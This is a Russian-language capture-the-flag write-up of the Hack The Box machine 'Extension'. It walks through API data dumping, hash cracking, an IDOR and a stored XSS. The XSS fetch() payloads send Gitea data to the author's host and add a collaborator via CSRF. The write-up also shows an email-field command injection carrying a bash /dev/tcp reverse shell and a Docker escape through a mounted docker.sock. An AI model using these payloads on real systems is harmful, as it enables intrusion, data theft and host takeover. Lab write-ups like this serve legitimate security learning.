Хакер - HTB Extension. Пентестим плагин для Gitea и сбегаем из Docker

Хакер - HTB Extension. Пентестим плагин для Gitea и сбегаем из Docker

hacker_frei

https://t.me/hacker_freu

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Пользовательский сервис
  • Gitea
  • Хранимая XSS
  • Продвижение
  • Пользователь jean
  • Docker inside
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как через уяз­вимость в рас­ширении бра­узе­ра получить дос­туп к фай­лам дру­гого поль­зовате­ля. Най­ден­ные кри­тичес­ки важ­ные дан­ные помогут нам зак­репить­ся на хос­те, а зах­ватим кон­троль над ним мы при помощи уяз­вимос­ти в веб‑сер­висе. А потом нам пред­сто­ит побег из Docker!

Зах­ватывать будем учеб­ную машину Extension с пло­щад­ки Hack The Box. Уро­вень — «слож­ный».

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.171 extension.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли два откры­тых пор­та: 22 — служ­ба OpenSSH 7.6p1 и 80 — веб‑сер­вер Nginx 1.14.0. Начина­ем, конеч­но же, с сай­та.

Глав­ная стра­ница сай­та http://extension.htb

На сай­те видим ука­зан­ный домен, который добав­ляем в файл /etc/hosts.

10.10.11.171 extension.htb snippet.htb

Так как он реаль­ный, мы можем прос­каниро­вать под­домены. Я исполь­зую ска­нер ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -r — выпол­нять редирек­ты;
  • -fs — филь­тро­вать стра­ницы по раз­меру;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

Ко­ман­да получа­ется сле­дующая:

ffuf -u 'http://snippet.htb/' -r -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.snippet.htb' --fl 30

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

Так находим еще два под­домена, которые тоже добав­ляем в файл /etc/hosts. Там най­дем сер­висы Gitea и RoundCube.

10.10.11.171 extension.htb snippet.htb dev.snippet.htb mail.snippet.htb

Глав­ная стра­ница http://dev.snippet.htb
Глав­ная стра­ница http://mail.snippet.htb

В Gitea можем без авто­риза­ции пос­мотреть сущес­тву­ющих поль­зовате­лей.

Поль­зовате­ли Gitea

Ска­ниро­вание катало­гов на поль­зователь­ском сай­те тоже ничего не дало.

ffuf -u 'http://snippet.htb/FUZZ' -r -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

ТОЧКА ВХОДА

Тог­да пос­мотрим на поль­зователь­ский сайт через Burp. Нас инте­ресу­ет Burp History.

Вклад­ка Burp History

В коде стра­ницы видим исполь­зование какого‑то API. Изу­чив его под­робнее, находим воз­можность не толь­ко получать раз­ную информа­цию, но и дам­пить ее.

API для дам­па информа­ции

Пер­вым делом я решил пос­мотреть на поль­зовате­лей сай­та, но это получит­ся толь­ко пос­ле авто­риза­ции.

Зап­рос стра­ницы /users

А вот при зап­росе дам­па нам отве­чают, что мы не ука­зали нуж­ный параметр. То есть никакой авто­риза­ции не тре­бует­ся.

Зап­рос стра­ницы /management/dump

Так как нам инте­рес­на информа­ция о поль­зовате­лях, в качес­тве зна­чения будем исполь­зовать users. Но имя парамет­ра нуж­но будет переб­рать. Раз ответ при­шел в фор­мате JSON, переда­вать параметр мы будем так же. Для перебо­ра я исполь­зовал Burp Intruder.

Burp Intruder — вклад­ка Positions
Ре­зуль­тат перебо­ра име­ни парамет­ра

И находим наз­вание нуж­ного парамет­ра — download. Ответ очень боль­шой, поэто­му сох­раня­ем в файл и выводим в jq.

По­лучен­ные дан­ные

Нам дос­тупны хеши паролей поль­зовате­лей, поэто­му для перебо­ра поп­робу­ем узнать алго­ритм с помощью hashid.

Рас­позна­вание алго­рит­ма хеширо­вания

В качес­тве алго­рит­ма шиф­рования, ско­рее все­го, исполь­зует­ся SHA-256. Давай выберем из спис­ка все пары логинов и паролей.

cat users.dump| jq | grep 'email"\|password' | cut -d '"' -f 4 > users.txt

За­тем мож­но все пос­ледова­тель­нос­ти .htb\n заменить дво­ето­чием, тог­да мы получим стро­ки типа логин:пароль. Отправ­ляем спи­сок прог­рамме John the Ripper и ука­зыва­ем фор­мат хеша. Спус­тя нес­коль­ко секунд получим пароль.

john -form=dynamic='sha256($p)' --wordlist=~/tmp/wordlists/Passwords/rockyou.txt creds.txt

Ре­зуль­тат перебо­ра хешей

С получен­ными учет­ными дан­ными мы можем авто­ризо­вать­ся на сай­те.

Глав­ная стра­ница авто­ризо­ван­ного поль­зовате­ля

ТОЧКА ОПОРЫ

Пользовательский сервис

Мы можем перей­ти к снип­петам и соз­дать свой. Так у нас будет воз­можность менять и уда­лять его.

Дос­тупные снип­петы

При изме­нении снип­пета переда­ются его парамет­ры и тип: пуб­личный или нет. Тог­да я решил переб­рать иден­тифика­тор снип­пета, что­бы узнать, как работа­ет кон­троль дос­тупа к изме­нению парамет­ров. И у нас получи­лось сде­лать пуб­личным чей‑то снип­пет.

Зап­рос на пуб­ликацию снип­пета
Дос­тупные снип­петы

Прос­мотрим вытащен­ный нами снип­пет и най­дем там HTTP-заголо­вок базовой аутен­тифика­ции. Декоди­руем стро­ку Base64 и получа­ем учет­ные дан­ные для поль­зовате­ля jean.

Со­дер­жимое снип­пета
Учет­ные дан­ные поль­зовате­ля

С получен­ными учет­ными дан­ными можем авто­ризо­вать­ся в Gitea. Там нам дос­тупен один про­ект.

Ре­пози­торий extension

Gitea

Сам про­ект — это пла­гин бра­узе­ра для быс­тро­го опо­веще­ния об ошиб­ках. В нас­трой­ках про­екта находим соав­тора, это нам при­годит­ся.

Со­авто­ры про­екта

Прос­матри­вая исто­рию изме­нений, обра­щаем вни­мание, что при пуб­ликации сооб­щения его текст дол­жен филь­тро­вать­ся.

Ста­рый филь­тр сооб­щений

На­ходим подоб­ный фраг­мент в коде текуще­го парамет­ра.

Но­вый филь­тр сооб­щений

Из сооб­щения уда­ляет­ся любая пос­ледова­тель­ность сим­волов, если она зак­лючена в тре­уголь­ные скоб­ки, то есть похожа на HTML-тег. Так­же если при­сутс­тву­ет пос­ледова­тель­ность сим­волов, при­веден­ных в перемен­ной filter. Но в самом регуляр­ном выраже­нии ошиб­ка, так уда­лит­ся толь­ко пер­вое вхож­дение пос­ледова­тель­нос­ти в тегах. Про­верим это, для чего запус­тим веб‑сер­вер и отпра­вим сле­дующую стро­ку:

qwe<qwe><img src="http://10.10.14.7/test">

От­прав­ка сооб­щения
Опуб­ликован­ное сооб­щение
Ло­ги веб‑сер­вера

В логах веб‑сер­вера уви­дим под­клю­чение, зна­чит, мож­но про­экс­плу­ати­ровать хра­нимую XSS. 

Хранимая XSS

Я решил поп­робовать получить про­екты поль­зовате­ля charlie. Спи­сок про­ектов мож­но зап­росить по API:

/api/v1/users/[user]/repos')

Наг­рузку пос­тро­им сле­дующим обра­зом: что­бы избе­жать филь­тра­ции, будем исполь­зовать Fetch API, а пос­ле обра­щения к API ответ закоди­руем в Base64 и отпра­вим на свой веб‑сер­вер:

fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(response => response.text()).then(data => fetch('http://10.10.14.7/'+btoa(data)))

Ло­ги веб‑сер­вера

Де­коди­руем Base64 и получа­ем содер­жимое стра­ницы.

Ин­форма­ция о репози­тори­ях поль­зовате­ля

Ви­дим про­ект backups, но ска­чать фай­лы нап­рямую не выш­ло. Тут мне приш­лось обра­тить­ся за помощью к комь­юни­ти, и мне посове­това­ли добавить сво­его поль­зовате­ля в соав­торы это­го про­екта.

var u='http://dev.snippet.htb/charlie/backups/settings/collaboration';fetch(u).then(r => document.querySelector('meta[name=_csrf]').content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'application/x-www-form-urlencoded;'},body:'collaborator=jean&_csrf='+t}).then(d => fetch('http://10.10.14.7/yes')))

Ре­пози­тории поль­зовате­ля jean

Нам стал дос­тупен про­ект backups, он содер­жит все­го один архив.

Фай­лы в репози­тории backups

А в архи­ве находим при­ват­ный SSH-ключ поль­зовате­ля.

Со­дер­жимое архи­ва

Да­ем фай­лу соот­ветс­тву­ющие пра­ва (chmod 0600 id_rsa) и под­клю­чаем­ся к уда­лен­ному хос­ту.

Сес­сия поль­зовате­ля charlie

ПРОДВИЖЕНИЕ

Пользователь jean

В сис­теме есть еще один поль­зователь — jean.

Со­дер­жимое катало­га /home

Мы уже получа­ли пароль это­го поль­зовате­ля для одно­го сер­виса, поэто­му про­буем исполь­зовать его и для сис­темы. Он под­ходит!

Флаг поль­зовате­ля

Docker inside

Те­перь нам необ­ходимо соб­рать информа­цию, что­бы понять, как прод­вигать­ся даль­ше. Я для это­го исполь­зую скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции, поэто­му отбе­рем толь­ко зна­чимую.

Во‑пер­вых, при­сутс­тву­ет мно­го сетевых интерфей­сов, типич­ных для Docker.

Се­тевые интерфей­сы

Во‑вто­рых, прос­лушива­ется мно­го сетевых веб‑пор­тов, а так­же порт MySQL.

Прос­лушива­емые пор­ты

Боль­ше ничего инте­рес­ного най­ти не уда­лось, поэто­му пос­мотрим, какие про­цес­сы запус­кают­ся на хос­те. Для это­го я исполь­зую ути­литу pspy64. Заг­рузим ее на хост тем же спо­собом, что и LinPEAS, а потом выпол­ним. В выводе находим коман­ду для под­клю­чения к СУБД и изме­нения пароля поль­зовате­ля сай­та. В коман­де есть учет­ные дан­ные для под­клю­чения к СУБД.

Вы­вод ути­литы pspy64

Под­клю­чим­ся к базе дан­ных, для чего нуж­но про­кинуть тра­фик с пор­та 3306 на свой хост с помощью SSH.

ssh -i ./id_rsa -L 3306:localhost:3306 charlie@10.10.11.171 -N

Та­ким обра­зом весь тра­фик, который мы пош­лем на локаль­ный порт 3306, будет тун­нелиро­ван на порт 3306 ука­зан­ного хос­та (в дан­ном слу­чае 127.0.0.1) через SSH-хост. Теперь под­клю­чим­ся к базе и получим таб­лицы:

mysql -h 127.0.0.1 -u root -ptoor --database webapp

show tables;

Таб­лицы в базе дан­ных webapp

Нам инте­рес­на таб­лица users, получим ее записи.

select * from users;

За­писи в таб­лице users

Ви­дим, что у каж­дого поль­зовате­ля есть свой user_type. Управля­ющая запись все­го одна. Но мы можем наз­начить это пра­во и поль­зовате­лю, учет­ка которо­го под нашим кон­тро­лем.

update users set user_type='Manager' where email='letha@snippet.htb';

Из­менение типа учет­ной записи letha

Об­новим стра­ницу сай­та и уви­дим кноп­ку про­вер­ки.

Поль­зовате­ли сай­та

При про­вер­ке поль­зовате­ля нам покажут сооб­щение «Mail is valid!». Получив его, я решил най­ти сам про­ект на хос­те и пос­мотреть исходный код про­вер­ки. Про­ект рас­положен в домаш­нем катало­ге поль­зовате­ля.

Со­дер­жимое домаш­него катало­га поль­зовате­ля

Най­дем учас­ток, где упо­мина­ется отоб­ражен­ное нам сооб­щение.

grep -iR 'Mail is valid!' ./ 2>/dev/null

По­иск подс­тро­ки в фай­лах про­екта

Те­перь прос­мотрим все содер­жимое фай­ла AdminController.php.

Со­дер­жимое фай­ла AdminController.php

Из поч­тового адре­са поль­зовате­ля извле­кает­ся домен, пос­ле чего он пин­гует­ся через вызов shell_exec. Здесь мы можем выпол­нить инъ­екцию коман­ды ОС. Для это­го добавим запись в таб­лицу users, где в поле поч­тового адре­са запишем кон­вей­ер с реверс‑шел­лом.

insert into users(name,email,email_verified_at,password,remember_token,created_at,updated_at,user_type) values('ralf','ralf@ralf|bash -c "/bin/sh -i >& /dev/tcp/10.10.14.84/4321 0>&1"','2022-01-02 20:15

:30','ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f','UvLHOFpwyD5LYcAeOEEwYdxVwjBWszbWIKO3qRAzc5x8uJ3ZJ4VA2OiZqKgU','2022-01-02 20:15:00','2022-01-02 20:15:00','Manager');

Об­новлен­ный спи­сок поль­зовате­лей

Те­перь запус­тим лис­тенер и про­верим соз­данно­го поль­зовате­ля:

pwncat_cs -lp 4321

В pwncat уви­дим новую сес­сию.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы попали в Docker, а для раз­ведки в нем есть прек­расный скрипт deepce. Скрипт по воз­можнос­ти про­верит нас­трой­ки кон­тей­нера и окру­жения и покажет пути для побега. Заг­ружа­ем его в кон­тей­нер, даем пра­во на выпол­нение и запус­каем. Deepce показал, что есть мон­тирован­ный docker.sock.

Нас­трой­ки мон­тирова­ния

Оп­ределим путь к docker.sock, прос­то поис­кав его в фай­ловой сис­теме.

find / -name docker.sock 2>/dev/null

По­иск docker.sock

Ис­поль­зование docker.sock дает нам путь к побегу из кон­тей­нера. Для это­го пер­вым делом нуж­но узнать, какие есть обра­зы.

curl -s --unix-socket /app/docker.sock http://localhost/images/json

Су­щес­тву­ющие обра­зы

Те­перь мы можем соз­дать кон­тей­нер для обра­за laravel-app_main:latest, при этом ука­зать коман­ду, которая выпол­нится при его запус­ке. В нашем слу­чае это будет реверс‑шелл.

cmd="["/bin/sh","-c","chroot /tmp sh -c \\"bash -c 'bash -i &>/dev/tcp/10.10.14.84/5432 0<&1'\\""]"

curl -s -X POST --unix-socket /app/docker.sock -d "{"Image":"laravel-app_main","cmd":$cmd,"Binds":["/:/tmp:rw"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=ralf_root

Соз­дание кон­тей­нера

Те­перь запус­каем соз­данный кон­тей­нер и получа­ем соеди­нение на лис­тенер netcat.

curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/87628e84d50408a88d9b865ba0053a85dfa21635dfc5e114b83b920d9201061d/start"

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_freu




Report Page